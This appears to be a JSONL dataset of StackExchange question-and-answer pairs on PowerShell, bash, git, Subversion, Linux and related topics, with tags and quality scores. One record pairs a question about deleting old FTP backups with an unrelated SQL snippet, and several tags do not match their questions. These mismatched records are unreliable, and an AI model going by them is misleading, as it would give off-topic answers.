{"id": "hf_b3d12d9d3df7", "question": "<p>I often access shared network folders in Powershell to grab files etc. But if the share requires a username/password, Powershell does not prompt me for these, unlike Windows Explorer. If I connect to the folder first in Windows Explorer, Powershell will then allow me to connect. </p>\n\n<p>How can I authenticate myself in Powershell?</p>\n", "question_body": "", "answer": "This is not a PowerShell-specific answer, but you could authenticate against the share using \"NET USE\" first:\n```\n```\nnet use \\\\server\\share /user:<domain\\username> <password>\n```\n```\nAnd then do whatever you need to do in PowerShell...", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:12.691716"}
{"id": "hf_0c18c81e838e", "question": "<p>Is there a way to edit the log message of a certain revision in Subversion? I accidentally wrote the wrong filename in my commit message which could be confusing later.</p>\n\n<p>I've seen <em><a href=\"https://stackoverflow.com/questions/179123/how-do-i-edit-an-incorrect-commit-message-in-git\">How do I edit an incorrect commit message in Git?</a></em>, but the solution to that question doesn't seem to be similar for Subversion (according to <code>svn help commit</code>).</p>\n", "question_body": "", "answer": "Essentially you have to have admin rights (directly or indirectly) to the repository to do this.  You can either configure the repository to allow all users to do this, or you can modify the log message directly on the server.\nSee\nthis part\nof the\nSubversion FAQ\n(emphasis mine):\nLog messages are kept in the\n  repository as properties attached to\n  each revision.\nBy default, the log\n  message property (svn:log) cannot be\n  edited once it is committed\n. That is\n  because changes to revision properties\n  (of which svn:log is one) cause the\n  property's previous value to be\n  permanently discarded, and Subversion\n  tries to prevent you from doing this\n  accidentally. However, there are a\n  couple of ways to get Subversion to\n  change a revision property.\nThe first way is for the repository\n  administrator to enable revision\n  property modifications. This is done\n  by creating a hook called\n  \"pre-revprop-change\" (see this section\n  in the Subversion book for more\n  details about how to do this). The\n  \"pre-revprop-change\" hook has access\n  to the old log message before it is\n  changed, so it can preserve it in some\n  way (for example, by sending an\n  email). Once revision property\n  modifications are enabled, you can\n  change a revision's log message by\n  passing the --revprop switch to svn\n  propedit or svn propset, like either\n  one of these:\n```\n```\n$svn propedit -r N --revprop svn:log URL \n$svn propset -r N --revprop svn:log \"new log message\" URL\n```\n```\nwhere N\n  is the revision number whose log\n  message you wish to change, and URL is\n  the location of the repository. If you\n  run this command from within a working\n  copy, you can leave off the URL.\nThe second way of changing a log\n  message is to use svnadmin setlog.\nThis must be done by referring to the\n  repository's location on the\n  filesystem. You cannot modify a remote\n  repository using this command.\n```\n```\n$ svnadmin setlog REPOS_PATH -r N FILE\n```\n```\nwhere REPOS_PATH is the repository\n  location, N is the revision number\n  whose log message you wish to change,\n  and FILE is a file containing the new\n  log message. If the\n  \"pre-revprop-change\" hook is not in\n  place (or you want to bypass the hook\n  script for some reason), you can also\n  use the --bypass-hooks option.\n  However, if you decide to use this\n  option, be very careful. You may be\n  bypassing such things as email\n  notifications of the change, or backup\n  systems that keep track of revision\n  properties.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:12.965099"}
{"id": "hf_87c0c9bc2ce4", "question": "<p>I want to check if a variable has a valid year using a regular expression. Reading the <a href=\"http://www.gnu.org/software/bash/manual/html_node/Conditional-Constructs.html\" rel=\"noreferrer\">bash manual</a> I understand I could use the operator =~</p>\n\n<p>Looking at the example below, I would expect to see \"not OK\" but I see \"OK\". What am I doing wrong?</p>\n\n<pre><code>i=\"test\"\nif [ $i=~\"200[78]\" ]\nthen\n  echo \"OK\"\nelse\n  echo \"not OK\"\nfi\n</code></pre>\n", "question_body": "", "answer": "It was changed between 3.1 and 3.2:\nThis is a terse description of the new features added to bash-3.2 since the release of bash-3.1.\nQuoting the string argument to the [[ command's  =~ operator now forces string matching, as with the other pattern-matching operators.\nSo use it without the quotes thus:\n```\n```\ni=\"test\"\nif [[ $i =~ 200[78] ]] ; then\n    echo \"OK\"\nelse\n    echo \"not OK\"\nfi\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:13.218723"}
{"id": "hf_309ef85996b7", "question": "<p>I just installed a linux system (Kubuntu) and was wondering if there is a program to make python programs executable for linux.</p>\n", "question_body": "", "answer": "Just put this in the first line of your script :\n```\n```\n#!/usr/bin/env python\n```\n```\nMake the file executable with\n```\n```\nchmod +x myfile.py\n```\n```\nExecute with\n```\n```\n./myfile.py\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:13.387548"}
{"id": "hf_e787dd0513b0", "question": "<p>I have to run a local shell script (windows/Linux) on a remote machine.</p>\n<p>I have SSH configured on both machine A and B. My script is on machine A which will run some of my code on a remote machine, machine B.</p>\n<p>The local and remote computers can be either Windows or Unix based system.</p>\n<p>Is there a way to run do this using plink/ssh?</p>\n", "question_body": "", "answer": "```\n```\n<hostA_shell_prompt>$ ssh user@hostB \"ls -la\"\n```\n```\nThat will prompt you for password, unless you have copied your hostA user's public key to the authorized_keys file on the home of user .ssh's directory. That will allow for passwordless authentication (if accepted as an auth method on the ssh server's configuration)", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:13.512479"}
{"id": "hf_b1f14efbb32c", "question": "<p>Can <a href=\"http://en.wikipedia.org/wiki/Unicode\" rel=\"noreferrer\">Unicode</a> characters be encoded and decoded with <a href=\"http://en.wikipedia.org/wiki/Base64\" rel=\"noreferrer\">Base64</a>?</p>\n\n<p>I have attempted to encode the string 'الله', but when I decoded it all I got was '????'.</p>\n", "question_body": "", "answer": "Of course they can. It depends on how your language or Base64 routine handles Unicode input. For example, Python's\n```\nb64\n```\nroutines expect an encoded string (as Base64 encodes binary to text, not Unicode codepoints to text).\n```\n```\nPython 2.5.1 (r251:54863, Jul 31 2008, 22:53:39)\n[GCC 4.1.2 (Ubuntu 4.1.2-0ubuntu4)] on linux2\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n>>> a = 'ûñö'\n>>> import base64\n>>> base64.b64encode(a)\n'w7vDscO2'\n>>> base64.b64decode('w7vDscO2')\n'\\xc3\\xbb\\xc3\\xb1\\xc3\\xb6'\n>>> print '\\xc3\\xbb\\xc3\\xb1\\xc3\\xb6'\nûñö\n>>>     \n>>> u'üñô'\nu'\\xfc\\xf1\\xf4'\n>>> base64.b64encode(u'\\xfc\\xf1\\xf4')\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\n  File \"/usr/lib/python2.5/base64.py\", line 53, in b64encode\n    encoded = binascii.b2a_base64(s)[:-1]\nUnicodeEncodeError: 'ascii' codec can't encode characters in position\n0-2: ordinal not in range(128)\n>>> base64.b64encode(u'\\xfc\\xf1\\xf4'.encode('utf-8'))\n'w7zDscO0'\n>>> base64.b64decode('w7zDscO0')\n'\\xc3\\xbc\\xc3\\xb1\\xc3\\xb4'\n>>> print base64.b64decode('w7zDscO0')\nüñô\n>>> a = 'الله'\n>>> a\n'\\xd8\\xa7\\xd9\\x84\\xd9\\x84\\xd9\\x87'\n>>> base64.b64encode(a)\n'2KfZhNmE2Yc='\n>>> b = base64.b64encode(a)\n>>> print base64.b64decode(b)\nالله\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:13.627072"}
{"id": "hf_09b2bc6e6c37", "question": "<p>I need in a bash script to get details about a file when I know the inode.The system is Linux.</p>\n", "question_body": "", "answer": "You can use\n```\nfind\n```\nwith a combination of\n```\n-inum\n```\nand\n```\n-xdev\n```\n. This gives you the file's names (it can have more than one name), and from them you can find whatever information you want.", "tags": ["linux", "bash"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:13.804387"}
{"id": "hf_98c140a8a310", "question": "<p>What system do you recommend for implementing \"automatic updates\" for some java (desktop) application? I'd also want to have module/plugin installation and update. Think Eclipse and Firefox.</p>\n\n<p>I'm aware of Eclipse RCP's OSGi stuff, and also NetBeans RCP has something here. Do one have to buy wholly into their respective RCP stuff to use their module and automatic update systems?</p>\n\n<p>Are there other options?</p>\n", "question_body": "", "answer": "Have you looked at the\nJava Web Start\n? It checks for updated module on the server and downloads it only if required otherwise things are cached locally on the client PC and starts from there.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:13.894750"}
{"id": "hf_9577e9031316", "question": "<p>I have a function that takes another function as a parameter. If the function is a member of a class, I need to find the name of that class. E.g.</p>\n\n<pre><code>def analyser(testFunc):\n    print testFunc.__name__, 'belongs to the class, ...\n</code></pre>\n\n<p>I thought  </p>\n\n<pre><code>testFunc.__class__ \n</code></pre>\n\n<p>would solve my problems, but that just tells me that testFunc is a function.</p>\n", "question_body": "", "answer": "I'm not a Python expert, but does this work?\n```\n```\ntestFunc.__self__.__class__\n```\n```\nIt seems to work for bound methods, but in your case, you may be using an unbound method, in which case this may work better:\n```\n```\ntestFunc.__objclass__\n```\n```\nHere's the test I used:\n```\n```\nPython 2.5.2 (r252:60911, Jul 31 2008, 17:31:22) \n[GCC 4.2.3 (Ubuntu 4.2.3-2ubuntu7)] on linux2\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n>>> import hashlib\n>>> hd = hashlib.md5().hexdigest\n>>> hd\n<built-in method hexdigest of _hashlib.HASH object at 0x7f9492d96960>\n>>> hd.__self__.__class__\n<type '_hashlib.HASH'>\n>>> hd2 = hd.__self__.__class__.hexdigest\n>>> hd2\n<method 'hexdigest' of '_hashlib.HASH' objects>\n>>> hd2.__objclass__\n<type '_hashlib.HASH'>\n```\n```\nOh yes, another thing:\n```\n```\n>>> hd.im_class\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\nAttributeError: 'builtin_function_or_method' object has no attribute 'im_class'\n>>> hd2.im_class\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\nAttributeError: 'method_descriptor' object has no attribute 'im_class'\n```\n```\nSo if you want something bulletproof, it should handle\n```\n__objclass__\n```\nand\n```\n__self__\n```\ntoo. But your mileage may vary.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:14.083916"}
{"id": "hf_1ac00a07f691", "question": "<p>I need to set a system environment variable from a Bash script that would be available outside of the current scope.  So you would normally export environment variables like this:</p>\n<pre><code>export MY_VAR=/opt/my_var\n</code></pre>\n<p>But I need the environment variable to be available at a system level though.  Is this possible?</p>\n", "question_body": "", "answer": "Not really - once you're running in a subprocess you can't affect your parent.\nThere two possibilities:\nSource\nthe script rather than run it (see\nsource .\n):\n```\n```\nsource {script}\n```\n```\nHave the script output the export commands, and eval that:\n```\n```\neval `bash {script}`\n```\n```\nOr\n:\n```\n```\neval \"$(bash script.sh)\"\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:14.341218"}
{"id": "hf_4b3a7b633840", "question": "<p>I'm looking for a good ocaml parsing library that isn't a derivative of flex/bison. Ideally, I'd like a monadic combinator library along the lines of parsec, but I can't find anything.</p>\n\n<p>I would use haskell, but making llvm bindings for haskell is proving more tiresome than I originally thought.</p>\n\n<p>Cheers,</p>\n\n<p>Duane</p>\n", "question_body": "", "answer": "Here's one library\n, via Google. (Which also brought up\nthis\nand\nthis\n, which lists several more relevant-sounding libraries.)\nWhen I wrote a combinator parser in ML, it turned out rather cumbersome to use because of the value restriction and eager evaluation, which forced you to eta-expand your grammar rules. Ocaml is said to be more relaxed about the value restriction, though -- maybe you'll be spared some of that pain.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:14.504914"}
{"id": "hf_2e048ec42d99", "question": "<p>When you run <code>top</code> and see all running processes, I've always wanted to know just what everything actually means.  e.g. all the various single-letter state codes for a running process (R = Running, S = Sleeping, etc...)</p>\n<p>Where can I find this?</p>\n", "question_body": "", "answer": "You can use the command\n```\nman top\n```\nto look up the states:\n```\n```\nD = uninterruptible sleep\nI = idle\nR = running\nS = sleeping\nT = stopped by job control signal\nt = stopped by debugger during trace\nZ = zombie\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:14.636295"}
{"id": "hf_f231940fa1be", "question": "<p>I've got two branches that are fully merged together.</p>\n<p>However, after the merge is done, I realise that one file has been messed up by the merge (someone else did an auto-format, gah), and it would just be easier to change to the new version in the other branch, and then reinsert my one line change after bringing it over into my branch.</p>\n<p>So what's the easiest way in Git to do this?</p>\n", "question_body": "", "answer": "Run this from the branch where you want the file to end up:\n```\n```\ngit checkout otherbranch myfile.txt\n```\n```\nGeneral formulas:\n```\n```\ngit checkout <commit_hash> <relative_path_to_file_or_dir>\ngit checkout <remote_name>/<branch_name> <file_or_dir>\n```\n```\nSome notes (from comments):\nUsing the commit hash, you can pull files from any commit\nThis works for files and directories\nOverwrites the file\n```\nmyfile.txt\n```\nand\n```\nmydir\n```\nWildcards don't work, but relative paths do\nMultiple paths can be specified\nAn alternative:\n```\n```\ngit show commit_id:path/to/file > path/to/file\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:14.765173"}
{"id": "hf_36862510a49d", "question": "<p>When using topfunky's <a href=\"http://nubyonrails.com/articles/automation-with-rstakeout\" rel=\"nofollow noreferrer\">RStakeout</a>, the color in the result of the <code>spec</code> command is lost. This happens even when adding the <code>--color</code> flag.</p>\n", "question_body": "", "answer": "You have to set the environment variable\n```\nAUTOTEST\n```\nto true. Spec detects whether it is being run by a process and disables color if it is (to make the output easier to parse).\nTo set the environment variable in bash:\n```\n```\nexport AUTOTEST=true\n```\n```\nor in fish:\n```\n```\nset -x AUTOTEST true\n```\n```\n(the -x exports the variable)", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:14.940085"}
{"id": "hf_f45f134efd37", "question": "<p>I accidentally committed an unwanted file (<code>filename.orig</code> while resolving a merge) to my repository several commits ago, without me noticing it until now. I want to completely delete the file from the repository history. </p>\n\n<p>Is it possible to rewrite the change history such that <code>filename.orig</code> was never added to the repository in the first place?</p>\n", "question_body": "", "answer": "This is what\n```\ngit filter-branch\n```\nwas designed for.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:15.061739"}
{"id": "hf_bdd614329fa2", "question": "<p>If I have a query such as <code>SELECT * from authors where name = @name_param</code>, is there a regex to parse out the parameter names (specifically the \"name_param\")?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "This is tricky because params can also occur inside quoted strings.\n```\n```\nSELECT * FROM authors WHERE name = @name_param \n  AND string = 'don\\'t use @name_param';\n```\n```\nHow would the regular expression know to use the first\n```\n@name_param\n```\nbut not the second?\nIt's a problem that can be solved, but it's not practical to do it in a single regular expression.  I had to handle this in Zend_Db, and what I did was first strip out all quoted strings and delimited identifiers, and then you can use regular expressions on the remainder.\nYou can see the code, because it's open-source.\nSee functions\n```\n_stripQuoted()\n```\nand\n```\n_parseParameters()\n```\n.\nhttps://github.com/zendframework/zf1/blob/136735e776f520b081cd374012852cb88cef9a88/library/Zend/Db/Statement.php#L200\nhttps://github.com/zendframework/zf1/blob/136735e776f520b081cd374012852cb88cef9a88/library/Zend/Db/Statement.php#L140", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:15.177640"}
{"id": "hf_7e20244a07f5", "question": "<p>I run an OpenSuse server that uploads zipped source code backups to a Microsoft FTP server every night. I have written a Bash script that does this through a cron job.</p>\n\n<p>I want to delete backed up files that are older than a certain date. How could I do this?</p>\n", "question_body": "", "answer": "```\n```\nIF object_id('a_table') IS NULL\nBEGIN\n    CREATE TABLE a_table (\n        col1 int not null,\n        col2 int null\n    ) \nEND\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:15.310119"}
{"id": "hf_9a0e3de7eee0", "question": "<p>What is the regular expression for a decimal with a precision of 2?</p>\n\n<p><em>Valid examples</em>:</p>\n\n<pre><code>123.12\n2\n56754\n92929292929292.12\n0.21\n3.1\n</code></pre>\n\n<p><em>Invalid examples:</em></p>\n\n<pre><code>12.1232\n2.23332\ne666.76\n</code></pre>\n\n<p>The decimal point may be optional, and integers may also be included.</p>\n", "question_body": "", "answer": "Valid regex tokens vary by implementation. A generic form is:\n```\n```\n[0-9]+(\\.[0-9][0-9]?)?\n```\n```\nMore compact:\n```\n```\n\\d+(\\.\\d{1,2})?\n```\n```\nBoth assume that both have at least one digit before and one after the decimal place.\nTo require that the whole string is a number of this form, wrap the expression in start and end tags such as (in Perl's form):\n```\n```\n^\\d+(\\.\\d{1,2})?$\n```\n```\nTo match numbers without a leading digit before the decimal (\n```\n.12\n```\n) and whole numbers having a trailing period (\n```\n12.\n```\n) while excluding input of a single period (\n```\n.\n```\n), try the following:\n```\n```\n^(\\d+(\\.\\d{0,2})?|\\.?\\d{1,2})$\n```\n```\nAdded\nWrapped the fractional portion in\n```\n()?\n```\nto make it optional.  Be aware that this excludes forms such as\n```\n12.\n```\nIncluding that would be more like\n```\n^\\d+\\\\.?\\d{0,2}$\n```\n.\nAdded\nUse\n```\n^\\d{1,6}(\\.\\d{1,2})?$\n```\nto stop repetition and give a restriction to whole part of the decimal value.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:15.415187"}
{"id": "hf_565ea44e3abc", "question": "<p>Windows Forms:</p>\n\n<p>For <code>System.Drawing</code> there is a way to get the font height. </p>\n\n<pre><code>Font font = new Font(\"Arial\", 10 , FontStyle.Regular);\nfloat fontHeight = font.GetHeight(); \n</code></pre>\n\n<p>But how do you get the other text metrics like average character width?</p>\n", "question_body": "", "answer": "Use Graphics.MeasureString Method\n```\n```\nprivate void MeasureStringMin(PaintEventArgs e)\n{\n\n    // Set up string.\n    string measureString = \"Measure String\";\n    Font stringFont = new Font(\"Arial\", 16);\n\n    // Measure string.\n    SizeF stringSize = new SizeF();\n    stringSize = e.Graphics.MeasureString(measureString, stringFont);\n\n    // Draw rectangle representing size of string.\n    e.Graphics.DrawRectangle(new Pen(Color.Red, 1), 0.0F, 0.0F, stringSize.Width, stringSize.Height);\n\n    // Draw string to screen.\n    e.Graphics.DrawString(measureString, stringFont, Brushes.Black, new PointF(0, 0));\n}\n```\n```", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:15.633255"}
{"id": "hf_b770e64e4017", "question": "<p>We have a JavaScript construct that will play .wav files within Firefox on Windows and MacOSX, but it does not work for Red Hat Linux.  What extension do I need?</p>\n", "question_body": "", "answer": "Firefox 3.1 will support\nFirefox 3.5,  supports the\n```\n<audio>\n```\ntag, a standard tag to deal with sound. If you use that, you'll need no extensions.\nUnfortunately, that will only work with the latest browsers (Firefox 3, for example, is the latest stable version and yet does not support this tag. You may have trouble making it work with Internet Explorer too).", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:15.815539"}
{"id": "hf_41768873469d", "question": "<p>I need to do the following for hundreds of files:\nAppend the name of the file (which may contain spaces) to the end of each line in the file.</p>\n\n<p>It seems to me there should be some way to do this:</p>\n\n<pre><code>sed -e 's/$/FILENAME/' *\n</code></pre>\n\n<p>where <code>FILENAME</code> represents the name of the current file.  Is there a sed variable representing the current filename?  Or does anyone have a different solution using bash, awk, etc.?</p>\n", "question_body": "", "answer": "You could do it with a bash script\n```\n```\nfor i in * \ndo\n  sed -e \"s/\\$/$i/\" \"$i\" \ndone\n```\n```\nOne-liner version:\n```\n```\nfor i in * ; do sed -e \"s/\\$/$i/\" \"$i\" ; done\n```\n```\nEdit:\nIf you want to\nreplace\nthe contents of the file with the new, name-appended lines, do this:\n```\n```\nTFILE=`mktemp`\nfor i in * \ndo\n  sed -e \"s/\\$/$i/\" \"$i\" > $TFILE\n  cp -f $TFILE \"$i\"\ndone\nrm -f $TFILE\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:15.947505"}
{"id": "hf_9f4e36eda2d0", "question": "<p>Are there any successor products on DOS, Windows or Linux?</p>\n", "question_body": "", "answer": "There are quite a few Clipper compilers available:\nHarbour\n,\nCLIP\n, and\nxHarbour\n, to name a few of the free ones.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:16.112181"}
{"id": "hf_a8685cd4271b", "question": "<p>Is there any way to access the Windows Event Log from a java class. Has anyone written any APIs for this, and would there be any way to access the data from a remote machine?</p>\n\n<p>The scenario is:</p>\n\n<p>I run a process on a remote machine, from a controlling Java process.\nThis remote process logs stuff to the Event Log, which I want to be able to see in the controlling process.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "On the Java side, you'll need a library that allows you to make native calls. Sun offers\nJNI\n, but it sounds like sort of a pain. Also consider:\nhttps://github.com/twall/jna/\nhttp://johannburkard.de/software/nativecall/\nhttp://www.jinvoke.com/\nOn the Windows side, the function you're after is\nOpenEventLog\n. This should allow you to access a remote event log. See also\nQuerying for Event Information\n.\nIf that doesn't sound right, I also found this for parsing the log files directly (not an approach I'd recommend but interesting nonetheless):\nhttp://msdn.microsoft.com/en-us/library/bb309026.aspx\nhttp://objectmix.com/java/75154-regarding-windows-event-log-file-parser-java.html", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:16.295853"}
{"id": "hf_c7eb35a4b817", "question": "<p>Some repository clones I have allow me to do this:</p>\n\n<pre><code>% git pull\n% git push\n</code></pre>\n\n<p>But other repositories require me to type:</p>\n\n<pre><code>% git pull origin master\n% git push origin master\n</code></pre>\n\n<p>I think I am missing something in the latter case - does anyone know what is (not) going on here?  I am using the latest git version, just obviously not using it well.</p>\n", "question_body": "", "answer": "If you cd into your repository directory and then open up your\n.git/config\nfile in an editor.\nAppend this to the end of the file:\n```\n```\n[branch \"master\"]\n     remote = origin\n     merge = refs/heads/master\n```\n```\nThis is pretty much just an alias so git knows by default to pull from origin master.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:16.661873"}
{"id": "hf_9f7c1005b93d", "question": "<p>I know I can access environment variables in PowerShell using <code>$Env</code>. For example, I can access <code>FOO</code> with <code>$Env:FOO</code>.</p>\n\n<p>I can't figure out how to access the environment variable called <code>FOO.BAR</code>.</p>\n\n<p><code>$Env:FOO.BAR</code> doesn't work. How can I access this from within PowerShell?</p>\n", "question_body": "", "answer": "Use the .NET method to get the variable:\n```\n```\n[Environment]::GetEnvironmentVariable(\"FOO.BAR\")\n```\n```", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:16.809596"}
{"id": "hf_b2c7a56eb425", "question": "<p>When configuring the bash on OSX via <code>~/.profile</code> it seems to completely ignore it as soon as <code>~/.bash_profile</code> exists. If this is correct and expected behavior, should I add my extra configuration stuff to <code>~/.bash_profile</code> as well or use it instead of <code>~/.profile</code>?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "It's expected behaviour. See\nhere\nWhen bash is invoked as an interactive\n  login shell, or as a non-interactive\n  shell with the --login option, it\n  first reads and executes commands from\n  the file /etc/profile, if that file\n  exists. After reading that file, it\n  looks for ~/.bash_profile,\n  ~/.bash_login, and ~/.profile, in that\n  order, and reads and executes commands\n  from the first one that exists and is\n  readable.\nSo only the first readable one counts.\nAs for which you should use, it's up to you - unless there are corporate policies or something else that creates a specific one, or relies on a specific one existing.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:16.942763"}
{"id": "hf_9ed5202b25c6", "question": "<p>Is there something similar to <code>sprintf()</code> in C#?</p>\n\n<p>I would for instance like to convert an integer to a 2-byte byte-array.</p>\n\n<p>Something like:</p>\n\n<pre><code>int number = 17;\nbyte[] s = sprintf(\"%2c\", number);\n</code></pre>\n", "question_body": "", "answer": "```\n```\nstring s = string.Format(\"{0:00}\", number)\n```\n```\nThe first 0 means \"the first argument\" (i.e. number); the 00 after the colon is the format specifier (2 numeric digits).\nHowever, note that .NET strings are UTF-16, so a 2-character string is 4 bytes, not 2\n(edit: question changed from\n```\nstring\n```\nto\n```\nbyte[]\n```\n)\nTo get the bytes, use\n```\nEncoding\n```\n:\n```\n```\nbyte[] raw = Encoding.UTF8.GetBytes(s);\n```\n```\n(obviously different encodings may give different results; UTF8 will give 2 bytes for this data)\nActually, a shorter version of the first bit is:\n```\n```\nstring s = number.ToString(\"00\");\n```\n```\nBut the\n```\nstring.Format\n```\nversion is more flexible.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:17.110689"}
{"id": "hf_0f7f7c772eda", "question": "<p>What is the equivalent of <code>/dev/null</code> on Windows?</p>\n", "question_body": "", "answer": "I think you want\n```\nNUL\n```\n, at least within a command prompt or batch files.\nFor example:\n```\n```\ntype c:\\autoexec.bat > NUL\n```\n```\ndoesn't create a file.\n(I\nbelieve\nthe same is true if you try to create a file programmatically, but I haven't tried it.)\nIn PowerShell, you want\n```\n$null\n```\n:\n```\n```\necho 1 > $null\n```\n```", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:17.254120"}
